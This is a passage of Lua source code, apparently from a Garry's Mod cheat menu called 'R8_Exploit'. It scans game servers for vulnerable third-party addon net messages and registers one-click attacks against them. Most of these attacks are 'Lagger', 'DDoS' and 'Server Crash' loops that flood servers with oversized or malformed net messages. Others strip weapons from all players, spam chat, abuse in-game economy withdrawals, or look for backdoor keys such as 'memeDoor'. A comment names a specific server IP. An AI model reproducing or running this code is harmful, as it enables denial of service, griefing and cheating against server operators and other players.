6044 status = ValidNetString("ZED_SpawnCar")
6045
6046 if (status) then
6047 ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
6048
6049 addExploit("254", "ZED Spawn Car", "", function()
6050 surface.PlaySound("garrysmod/ui_click.wav")
6051 ECNotify("Starting")
6052 net.Start("ZED_SpawnCar")
6053 net.WriteFloat(1)
6054 net.SendToServer()
6055 end)
6056 end
6057
6058 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6059
6060 if (status) then
6061 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6062
6063 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6064 surface.PlaySound("garrysmod/ui_click.wav")
6065 ECNotify("Starting")
6066
6067 for k, v in pairs(ents.GetAll()) do
6068 net.Start("DeployMask")
6069 net.WriteEntity(v)
6070 net.SendToServer()
6071 end
6072 end)
6073 end
6074
6075 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6076
6077 if (status) then
6078 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6079
6080 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6081 surface.PlaySound("garrysmod/ui_click.wav")
6082 ECNotify("Starting")
6083
6084 for k, v in pairs(ents.GetAll()) do
6085 net.Start("RemoveMask")
6086 net.WriteEntity(v)
6087 net.SendToServer()
6088 end
6089 end)
6090 end
6091
6092 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6093
6094 if (status) then
6095 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6096
6097 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6098 surface.PlaySound("garrysmod/ui_click.wav")
6099 ECNotify("Starting")
6100
6101 for k, v in pairs(ents.GetAll()) do
6102 net.Start("SwapFilter")
6103 net.WriteEntity(v)
6104 net.SendToServer()
6105 end
6106 end)
6107 end
6108
6109 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6110
6111 if (status) then
6112 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6113
6114 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6115 surface.PlaySound("garrysmod/ui_click.wav")
6116 ECNotify("Starting")
6117
6118 for k, v in pairs(ents.GetAll()) do
6119 net.Start("WipeMask")
6120 net.WriteEntity(v)
6121 net.SendToServer()
6122 end
6123 end)
6124 end
6125
6126 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6127
6128 if (status) then
6129 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6130
6131 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6132 surface.PlaySound("garrysmod/ui_click.wav")
6133 ECNotify("Starting")
6134
6135 for k, v in pairs(ents.GetAll()) do
6136 net.Start("UseMedkit")
6137 net.WriteEntity(v)
6138 net.SendToServer()
6139 end
6140 end)
6141 end
6142
6143 status = ValidNetString("IDInv_RequestBank")
6144
6145 if (status) then
6146 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6147
6148 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6149 surface.PlaySound("garrysmod/ui_click.wav")
6150 ECNotify("Starting")
6151
6152 if not timer.Exists("lagger23") then
6153 timer.Create("lagger23", 0, 0, function()
6154 for i = 1, 1000 do
6155 net.Start("IDInv_RequestBank", true)
6156 net.SendToServer()
6157 end
6158 end)
6159 end
6160 end)
6161 end
6162
6163 status = ValidNetString("casinokit_chipexchange")
6164
6165 if (status) then
6166 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6167
6168 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6169 surface.PlaySound("garrysmod/ui_click.wav")
6170 ECNotify("Starting")
6171
6172 if not timer.Exists("lagger24") then
6173 timer.Create("lagger24", 0, 0, function()
6174 for i = 1, 1000 do
6175 net.Start("casinokit_chipexchange", true)
6176 net.WriteEntity(LocalPlayer())
6177 net.WriteString("darkrp")
6178 net.WriteBool(false)
6179 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6180 net.SendToServer()
6181 end
6182 end)
6183 end
6184 end)
6185 end
6186
6187 status = ValidNetString("RemoveTag")
6188
6189 if (status) then
6190 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6191
6192 addExploit("262", "1tap server", "discovered by Leith", function()
6193 surface.PlaySound("garrysmod/ui_click.wav")
6194 ECNotify("Starting")
6195
6196 timer.Create("1tap", 0.5, 0, function()
6197 for i = 1, 4000 do
6198 net.Start("RemoveTag")
6199 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6200 net.SendToServer()
6201 end
6202 end)
6203 end)
6204 end
6205
6206 status = ValidNetString("desktopPrinter_Withdraw")
6207
6208 if (status) then
6209 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6210
6211 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6212 surface.PlaySound("garrysmod/ui_click.wav")
6213 ECNotify("Starting")
6214
6215 if not timer.Exists("lagger25") then
6216 timer.Create("lagger25", 0, 0, function()
6217 for i = 1, 1000 do
6218 net.Start("desktopPrinter_Withdraw", true)
6219 net.WriteEntity(LocalPlayer())
6220 net.SendToServer()
6221 end
6222 end)
6223 end
6224 end)
6225 end
6226
6227 status = ValidNetString("sphys_dupe")
6228
6229 if (status) then
6230 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6231
6232 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6233 surface.PlaySound("garrysmod/ui_click.wav")
6234 ECNotify("Starting")
6235
6236 timer.Create("lagger26", 0.2, 0, function()
6237 for i = 1, 2200 do
6238 net.Start("sphys_dupe", true)
6239 net.SendToServer()
6240 end
6241 end)
6242 end)
6243 end
6244
6245 status = ValidNetString("simfphys_gasspill")
6246
6247 if (status) then
6248 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6249
6250 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6251 surface.PlaySound("garrysmod/ui_click.wav")
6252 ECNotify("Starting")
6253
6254 timer.Create("poop", 0.1, 0, function()
6255 for k, v in pairs(player.GetAll()) do
6256 for j = 1, 3 do
6257 if IsValid(v) then
6258 net.Start("simfphys_gasspill")
6259 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6260 net.WriteVector(v:EyePos())
6261 net.SendToServer()
6262 end
6263 end
6264 end
6265 end)
6266 end)
6267 end
6268
6269 status = ValidNetString("dronesrewrite_controldr")
6270
6271 if (status) then
6272 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6273
6274 addExploit("266", "Lagger #27", "discovered by Solly", function()
6275 surface.PlaySound("garrysmod/ui_click.wav")
6276 ECNotify("Starting")
6277
6278 timer.Create("lagger27", 0.2, 0, function()
6279 for i = 1, 2200 do
6280 net.Start("dronesrewrite_controldr", true)
6281 net.SendToServer()
6282 end
6283 end)
6284 end)
6285 end
6286
6287 status = ValidNetString("SCP-294Sv")
6288
6289 if (status) then
6290 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6291
6292 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6293 surface.PlaySound("garrysmod/ui_click.wav")
6294 ECNotify("Starting")
6295
6296 for k, v in pairs(ents.GetAll()) do
6297 net.Start("SCP-294Sv")
6298 net.WriteString("acid")
6299 net.WriteEntity(v)
6300 net.SendToServer()
6301 end
6302 end)
6303 end
6304
6305 status = ValidNetString("VC_PlayerReady")
6306
6307 if (status) then
6308 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6309
6310 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6311 surface.PlaySound("garrysmod/ui_click.wav")
6312 ECNotify("Starting")
6313
6314 timer.Create("lagger28", 0, 0, function()
6315 for i = 1, 1000 do
6316 net.Start("VC_PlayerReady", true)
6317 net.SendToServer()
6318 end
6319 end)
6320 end)
6321 end
6322
6323 status = ValidNetString("phone")
6324
6325 if (status) then
6326 ECPrint("Found Exploit: Call all players [phone]")
6327
6328 addExploit("269", "Call all players", "discovered by questionmark", function()
6329 surface.PlaySound("garrysmod/ui_click.wav")
6330 ECNotify("Starting")
6331
6332 for k, v in pairs(player.GetAll()) do
6333 net.Start("phone")
6334
6335 net.WriteTable{
6336 ply = v,
6337 act = 'call'
6338 }
6339
6340 net.SendToServer()
6341 end
6342 end)
6343 end
6344
6345 status = ValidNetString("blueatm")
6346
6347 if (status) then
6348 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6349
6350 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6351 surface.PlaySound("garrysmod/ui_click.wav")
6352 ECNotify("Starting")
6353
6354 timer.Create("lagger29", 0, 0, function()
6355 for i = 1, 1000 do
6356 net.Start("blueatm", true)
6357 net.WriteEntity(LocalPlayer())
6358 net.SendToServer()
6359 end
6360 end)
6361 end)
6362 end
6363
6364 status = ValidNetString("cab_cd_testdrive")
6365
6366 if (status) then
6367 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6368
6369 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6370 surface.PlaySound("garrysmod/ui_click.wav")
6371 ECNotify("Starting")
6372 net.Start('cab_cd_testdrive')
6373 net.WriteUInt(0, 3)
6374 net.WriteUInt(5, 8)
6375 net.SendToServer()
6376 end)
6377 end
6378
6379 status = ValidNetString("cab_sendmessage")
6380
6381 if (status) then
6382 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6383
6384 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6385 surface.PlaySound("garrysmod/ui_click.wav")
6386 ECNotify("Starting")
6387
6388 for k, v in pairs(player.GetAll()) do
6389 net.Start("cab_sendmessage")
6390 net.WriteEntity(v)
6391 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6392 net.SendToServer()
6393 end
6394 end)
6395 end
6396
6397 status = ValidNetString("disguise")
6398
6399 if (status) then
6400 ECPrint("Found Exploit: Lagger #30 [disguise]")
6401
6402 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6403 surface.PlaySound("garrysmod/ui_click.wav")
6404
6405 timer.Create("lagger30", 0, 0, function()
6406 for i = 1, 1000 do
6407 net.Start("disguise", true)
6408 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6409 net.SendToServer()
6410 end
6411 end)
6412 end)
6413 end
6414
6415 status = ValidNetString("FARMINGMOD_DROPITEM")
6416
6417 if (status) then
6418 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6419
6420 addExploit("274", "Lagger #31", "discovered by Leith", function()
6421 surface.PlaySound("garrysmod/ui_click.wav")
6422
6423 timer.Create("lagger31", 0, 0, function()
6424 for i = 1, 1000 do
6425 net.Start("FARMINGMOD_DROPITEM", true)
6426 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6427 net.SendToServer()
6428 end
6429 end)
6430 end)
6431 end
6432
6433 status = ValidNetString("SlotsRemoved")
6434
6435 if (status) then
6436 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6437
6438 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6439 surface.PlaySound("garrysmod/ui_click.wav")
6440
6441 timer.Create("lagger32", 0, 0, function()
6442 for i = 1, 1000 do
6443 net.Start("SlotsRemoved", true)
6444 net.SendToServer()
6445 end
6446 end)
6447 end)
6448 end
6449
6450 status = ValidNetString("AirDrops_StartPlacement")
6451
6452 if (status) then
6453 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6454
6455 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6456 surface.PlaySound("garrysmod/ui_click.wav")
6457
6458 timer.Create("lagger33", 0, 0, function()
6459 for i = 1, 1000 do
6460 net.Start("AirDrops_StartPlacement", true)
6461 net.SendToServer()
6462 end
6463 end)
6464 end)
6465 end
6466
6467 status = ValidNetString("pp_info_send")
6468
6469 if (status) then
6470 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6471
6472 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6473 surface.PlaySound("garrysmod/ui_click.wav")
6474
6475 timer.Create("lagger33", 0, 0, function()
6476 for i = 1, 1000 do
6477 net.Start("pp_info_send", true)
6478 net.SendToServer()
6479 end
6480 end)
6481 end)
6482 end
6483
6484 status = ValidNetString("IGS.GetPaymentURL")
6485
6486 if (status) then
6487 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6488
6489 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6490 surface.PlaySound("garrysmod/ui_click.wav")
6491
6492 timer.Create("lagger35", 0, 0, function()
6493 for i = 1, 1000 do
6494 net.Start("IGS.GetPaymentURL", true)
6495 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6496 net.SendToServer()
6497 end
6498 end)
6499 end)
6500 end
6501
6502 status = ValidNetString("fg_printer_money")
6503
6504 if (status) then
6505 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6506
6507 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6508 surface.PlaySound("garrysmod/ui_click.wav")
6509
6510 timer.Create("lagger36", 0, 0, function()
6511 for i = 1, 1000 do
6512 net.Start('fg_printer_money', true)
6513 net.WriteEntity(LocalPlayer())
6514 net.SendToServer()
6515 end
6516 end)
6517 end)
6518 end
6519
6520 status = ValidNetString("tickbookpayfine")
6521
6522 if (status) then
6523 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6524
6525 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6526 surface.PlaySound("garrysmod/ui_click.wav")
6527
6528 timer.Create("lagger37", 0, 0, function()
6529 for i = 1, 1000 do
6530 net.Start("tickbookpayfine", true)
6531 net.SendToServer()
6532 end
6533 end)
6534 end)
6535 end
6536
6537 status = ValidNetString("BeginSpin")
6538
6539 if (status) then
6540 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6541
6542 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6543 surface.PlaySound("garrysmod/ui_click.wav")
6544
6545 timer.Create("lagger38", 0, 0, function()
6546 for i = 1, 1000 do
6547 net.Start("BeginSpin", true)
6548 net.SendToServer()
6549 end
6550 end)
6551 end)
6552 end
6553
6554 status = ValidNetString("DuelRequestClient")
6555
6556 if (status) then
6557 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6558
6559 addExploit("282", "Lagger #39", "discovered by Leith", function()
6560 surface.PlaySound("garrysmod/ui_click.wav")
6561
6562 timer.Create("lagger39", 0, 0, function()
6563 for i = 1, 1000 do
6564 net.Start("DuelRequestClient", true)
6565 net.SendToServer()
6566 end
6567 end)
6568 end)
6569 end
6570
6571 status = ValidNetString("ncpstoredoact")
6572
6573 if (status) then
6574 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6575
6576 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6577 surface.PlaySound("garrysmod/ui_click.wav")
6578
6579 timer.Create("lagger40", 0, 0, function()
6580 for i = 1, 1000 do
6581 net.Start("ncpstoredoact", true)
6582 net.SendToServer()
6583 end
6584 end)
6585 end)
6586 end
6587
6588 status = ValidNetString("PermwepsNPCSellWeapon")
6589
6590 if (status) then
6591 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6592
6593 addExploit("284", "Lagger #41", "discovered by Leith", function()
6594 surface.PlaySound("garrysmod/ui_click.wav")
6595
6596 timer.Create("lagger41", 0, 0, function()
6597 for i = 1, 2000 do
6598 net.Start("PermwepsNPCSellWeapon", true)
6599 net.WriteString("")
6600 net.SendToServer()
6601 end
6602 end)
6603 end)
6604 end
6605
6606 status = ValidNetString("bitcoins_request_withdraw")
6607
6608 if (status) then
6609 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6610
6611 addExploit("285", "Lagger #42", "discovered by Leith", function()
6612 surface.PlaySound("garrysmod/ui_click.wav")
6613
6614 timer.Create("lagger42", 0, 0, function()
6615 for i = 1, 2000 do
6616 net.Start("bitcoins_request_withdraw", true)
6617 net.SendToServer()
6618 end
6619 end)
6620 end)
6621 end
6622
6623 status = ValidNetString("bitcoins_request_turn_on")
6624
6625 if (status) then
6626 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6627
6628 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6629 surface.PlaySound("garrysmod/ui_click.wav")
6630 ECNotify("Starting")
6631
6632 for k, v in pairs(ents.GetAll()) do
6633 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6634 net.Start("bitcoins_request_turn_on")
6635 net.WriteEntity(v)
6636 net.SendToServer()
6637 end
6638 end
6639 end)
6640 end
6641
6642 status = ValidNetString("bitcoins_request_turn_off")
6643
6644 if (status) then
6645 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6646
6647 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6648 surface.PlaySound("garrysmod/ui_click.wav")
6649 ECNotify("Starting")
6650
6651 for k, v in pairs(ents.GetAll()) do
6652 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6653 net.Start("bitcoins_request_turn_off")
6654 net.WriteEntity(v)
6655 net.SendToServer()
6656 end
6657 end
6658 end)
6659 end
6660
6661 status = ValidNetString("NET_AM_MakePotion")
6662
6663 if (status) then
6664 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6665
6666 addExploit("288", "Lagger #43", "discovered by Leith", function()
6667 surface.PlaySound("garrysmod/ui_click.wav")
6668 ECNotify("Starting")
6669
6670 timer.Create("lagger43", 0, 0, function()
6671 for i = 1, 2000 do
6672 net.Start('NET_AM_MakePotion', true)
6673 net.WriteEntity(LocalPlayer())
6674 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6675 net.SendToServer()
6676 end
6677 end)
6678 end)
6679 end
6680
6681 status = ValidNetString("minigun_drones_switch")
6682
6683 if (status) then
6684 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6685
6686 addExploit("289", "Lagger #44", "discovered by Solly", function()
6687 surface.PlaySound("garrysmod/ui_click.wav")
6688 ECNotify("Starting")
6689
6690 timer.Create("lagger44", 0.2, 0, function()
6691 for i = 1, 2200 do
6692 net.Start("minigun_drones_switch", true)
6693 net.SendToServer()
6694 end
6695 end)
6696 end)
6697 end
6698
6699 status = ValidNetString("CW20_PRESET_LOAD")
6700
6701 if (status) then
6702 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6703
6704 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6705 surface.PlaySound("garrysmod/ui_click.wav")
6706 ECNotify("Starting")
6707
6708 timer.Create("lagger45", 0.2, 0, function()
6709 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6710 for i = 1, 2200 do
6711 net.Start("CW20_PRESET_LOAD", true)
6712 net.SendToServer()
6713 end
6714 end
6715 end)
6716 end)
6717 end
6718
6719 status = ValidNetString("SBP_addtime")
6720
6721 if (status) then
6722 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6723
6724 addExploit("291", "Lagger #46", "discovered by Solly", function()
6725 surface.PlaySound("garrysmod/ui_click.wav")
6726 ECNotify("Starting")
6727
6728 timer.Create("lagger46", 0.3, 0, function()
6729 for i = 1, 2200 do
6730 net.Start("SBP_addtime", true)
6731 net.SendToServer()
6732 end
6733 end)
6734 end)
6735 end
6736
6737 status = ValidNetString("NetData")
6738
6739 if (status) then
6740 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6741
6742 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6743 surface.PlaySound("garrysmod/ui_click.wav")
6744 ECNotify("Starting")
6745
6746 for k, v in pairs(player.GetAll()) do
6747 net.Start("NetData")
6748 net.WriteString("OF")
6749 net.WriteUInt(4, 8)
6750 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6751 net.SendToServer()
6752 end
6753 end)
6754 end
6755
6756 status = ValidNetString("StackGhost")
6757
6758 if (status) then
6759 ECPrint("Found Exploit: DDoS #1")
6760
6761 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6762 surface.PlaySound("garrysmod/ui_click.wav")
6763 ECNotify("Starting")
6764
6765 timer.Create("DDoS", 0.02, 0, function()
6766 for i = 1, 2000 do
6767 net.Start("StackGhost", true)
6768 net.WriteInt(69, 32)
6769 net.SendToServer()
6770 end
6771 end)
6772 end)
6773 end
6774
6775 status = ValidNetString("pac_submit")
6776
6777 if (status) then
6778 ECPrint("Found Exploit: DDoS #2")
6779
6780 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6781 surface.PlaySound("garrysmod/ui_click.wav")
6782 ECNotify("Starting")
6783
6784 -----------------------------------
6785 timer.Create("DDoS2", 0.02, 0, function()
6786 for i = 1, 1000 do
6787 Disco.NetStart("pac_submit")
6788 net.SendToServer()
6789 end
6790 end)
6791 end)
6792 ----------------------------------
6793 end
6794
6795 status = ValidNetString("RequestMAPSize")
6796
6797 if (status) then
6798 ECPrint("Found Exploit: 1tap server [MapSize]")
6799
6800 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6801 surface.PlaySound("garrysmod/ui_click.wav")
6802 ECNotify("Starting")
6803
6804 -----------------------------------
6805 timer.Create("lagger10", 0, 0, function()
6806 for i = 1, 400 do
6807 net.Start("RequestMAPSize")
6808 net.SendToServer()
6809 end
6810 end)
6811 end)
6812 ----------------------------------
6813 end
6814
6815 status = ValidNetString("properties")
6816
6817 if (status) then
6818 ECPrint("Found Exploit: Weapon Strip")
6819
6820 addExploit("297", "Weapon Strip", "-weapon", function()
6821 surface.PlaySound("garrysmod/ui_click.wav")
6822 ECNotify("Starting")
6823
6824 -----------------------------------
6825 for k, v in pairs(player.GetAll()) do
6826 if v:IsPlayer() then
6827 for k, v in pairs(v:GetWeapons()) do
6828 net.Start("properties")
6829 net.WriteString("remove", 32)
6830 net.WriteEntity(v)
6831 net.SendToServer()
6832 end
6833 end
6834 end
6835 end)
6836 ----------------------------------
6837 end
6838
6839 status = ValidNetString("start_wd_emp")
6840
6841 if (status) then
6842 ECPrint("Found Exploit: Hack Keypad")
6843
6844 addExploit("298", "HackKeypad", "Hack Keypad", function()
6845 surface.PlaySound("garrysmod/ui_click.wav")
6846 ECNotify("Starting")
6847 -----------------------------------
6848 net.Start('start_wd_emp')
6849 net.SendToServer()
6850 end)
6851 ----------------------------------
6852 end
6853
6854 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6855
6856 if (status) then
6857 ECPrint("Found Exploit: Server Crash")
6858
6859 addExploit("299", "Server Crash", " ", function()
6860 surface.PlaySound("garrysmod/ui_click.wav")
6861 ECNotify("Starting")
6862
6863 -----------------------------------
6864 timer.Create("crasher2", 0, 0, function()
6865 for i = 1, 400 do
6866 net.Start("pac.net.TouchFlexes.ClientNotify")
6867 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6868 net.SendToServer()
6869 end
6870 end)
6871 end)
6872 ----------------------------------
6873 end
6874
6875 status = ValidNetString("ItemStoreDrop")
6876
6877 if (status) then
6878 ECPrint("Found Exploit: DDoS item")
6879
6880 addExploit("300", "DDoS item", " ", function()
6881 surface.PlaySound("garrysmod/ui_click.wav")
6882 ECNotify("Starting")
6883
6884 -----------------------------------
6885 timer.Create("lagger7", 0, 0, function()
6886 for i = 1, 1000 do
6887 net.Start("ItemStoreDrop")
6888 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6889 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6890 net.SendToServer()
6891 end
6892 end)
6893 end)
6894 ----------------------------------
6895 end
6896
6897 status = ValidNetString("TFA_Attachment_RequestAll")
6898
6899 if (status) then
6900 ECPrint("Found Exploit: TFA LAGGER")
6901
6902 addExploit("301", "TFA LAGGER", " ", function()
6903 surface.PlaySound("garrysmod/ui_click.wav")
6904 ECNotify("Starting")
6905
6906 -----------------------------------
6907 timer.Create("lagger20", 0.02, 0, function()
6908 for i = 1, 4400 do
6909 net.Start("TFA_Attachment_RequestAll", true)
6910 net.SendToServer()
6911 end
6912 end)
6913 end)
6914 ----------------------------------
6915 end
6916
6917 status = ValidNetString("ts_buytitle")
6918
6919 if (status) then
6920 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6921
6922 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6923 surface.PlaySound("garrysmod/ui_click.wav")
6924 ECNotify("Starting")
6925
6926 timer.Create("lagger47", 0, 0, function()
6927 for i = 1, 1000 do
6928 net.Start("ts_buytitle", true)
6929 net.WriteTable({})
6930 net.WriteTable({})
6931 net.WriteTable({})
6932 net.SendToServer()
6933 end
6934 end)
6935 end)
6936 end
6937
6938 status = ValidNetString("SBP_addtime")
6939
6940 if (status) then
6941 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6942
6943 addExploit("293", "XP Booster", "discovered by Solly", function()
6944 inputFrameExists = true
6945 inputFrame = vgui.Create("DFrame")
6946 inputFrame:SetTitle("Enter the number")
6947 inputFrame:SetSize(400, 75)
6948 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6949 inputFrame:SetDraggable(false)
6950 inputFrame:ShowCloseButton(true)
6951 inputFrame:MakePopup()
6952
6953 inputFrame.Paint = function(self, w, h)
6954 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6955 end
6956
6957 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6958 TextEntry:SetSize(380, 30)
6959 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6960 TextEntry:SetText("100")
6961
6962 TextEntry.OnEnter = function(self)
6963 surface.PlaySound("garrysmod/ui_click.wav")
6964
6965 timer.Create("ofn", 0.2, 0, function()
6966 for i = 1, tonumber(self:GetText()) do
6967 net.Start("SBP_addtime")
6968 net.SendToServer()
6969 end
6970
6971 inputFrame:SetVisible(false)
6972 end)
6973 end
6974 end)
6975 end
6976
6977 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6978 status = ValidNetString("EnterpriseWithdraw")
6979
6980 if (status) then
6981 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6982
6983 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6984 surface.PlaySound("garrysmod/ui_click.wav")
6985 ECNotify("Starting")
6986 net.Start("EnterpriseWithdraw")
6987 net.WriteInt(100, 32)
6988 net.SendToServer()
6989 end)
6990 end
6991
6992 status = ValidNetString("SetPermaKnife")
6993
6994 if (status) then
6995 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6996
6997 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6998 surface.PlaySound("garrysmod/ui_click.wav")
6999 end)
7000 --[[
7001 function cockSucker(ply,cmd,args,argStr)
7002 local ply = LocalPlayer()
7003
7004 net.Start( "SetPermaKnife" )
7005 net.WriteString( string.TrimRight(argStr,".lua") )
7006 net.SendToServer()
7007 end
7008
7009 concommand.Add("gibe_weapon",cockSucker)
7010 ]]
7011 end
7012 ----------------------------------------------------------------------------------
7013 -- for k, v in pairs(player.GetAll()) do
7014 -- for k, v in pairs(ents.GetAll()) do
7015 ----------------------------------------------------------------------------------
7016 -- if !timer.Exists("lagger") then
7017 -- timer.Create("lagger", 0, 0, function()
7018 -- for i = 1, 1000 do
7019 -----------------------------
7020 -- 9999999999999999999999999999999999999999999999999999999999
7021 -- 0xFFFFFFF
7022 --------------------------------------------------------------------------------------------------
7023 --------------------------------------------------------------------------------------------------
7024 --------------------------------------------------------------------------------------------------
7025
7026end
7027concommand.Add('R8_Exploit', function()
7028 R8_Menu()
7029end)
7030
7031
7032local BD = {}
7033netKey = ""
7034
7035if( ValidNetString("memeDoor") ) then
7036 netKey = "memeDoor"
7037 else
7038 end
7039
7040 if( ValidNetString("_KekTcf") ) then
7041 netKey = "_KekTcf"
7042 else
7043 end
7044
